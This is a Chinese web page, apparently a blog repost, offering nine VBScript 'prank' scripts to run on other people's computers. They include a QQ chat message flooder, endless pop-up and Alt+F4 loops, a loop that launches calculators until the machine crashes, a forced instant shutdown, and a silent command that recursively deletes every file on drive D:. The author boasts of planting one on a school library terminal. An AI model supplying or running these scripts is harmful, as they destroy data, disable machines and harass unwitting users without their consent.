一、你打開好友的聊天對(duì)話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼里的數(shù)字10改一下即可).

xx.vbs=&gt

復(fù)制代碼 代碼如下:

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("與 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

QQ騷擾信息,也可以用在其它程序上。

二、我就用這個(gè)程序放在學(xué)校圖書館查詢書刊的機(jī)器上，好多人都那它沒辦法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

------------------------------------------------------------------------------

三、打開無數(shù)個(gè)計(jì)算器，直到死機(jī)

------------------------------------------------------------------------------

dim wsh

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

-----------------------------------------------------------------------------

四、直接關(guān)機(jī)

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

五、刪除D:\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

六、不斷彈出窗口

----------------------------------------------------------------------------

復(fù)制代碼 代碼如下:

while(1)

msgbox "哈哈 你被耍了！"

loop

----------------------------------------------------------------------------

七、不斷按下alt+f4 (開什么都關(guān)閉……)

---------------------------------------------------------------------------

復(fù)制代碼 代碼如下:

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

八、按500次回車

(以上代碼在運(yùn)行者的電腦上顯示500個(gè)對(duì)話框。其中 do until s=500 ，500可以隨意更改)

復(fù)制代碼 代碼如下:

dim s

do until s=500

s=s+1

msgbox "哥們，給我按500次回車吧",64

loop

'------------------------ ------------------------------------------------------------

九、關(guān)不掉的窗口

復(fù)制代碼 代碼如下:

WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可愛的小朋嗎?")

WScript.Echo("哈,我想你拉，這你都不知道嗎？")

WScript.Echo("怎么才來，說~是不是不關(guān)心我")

WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")

總結(jié)

以上是生活随笔為你收集整理的整人的python代码_vbe最新整人代码的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。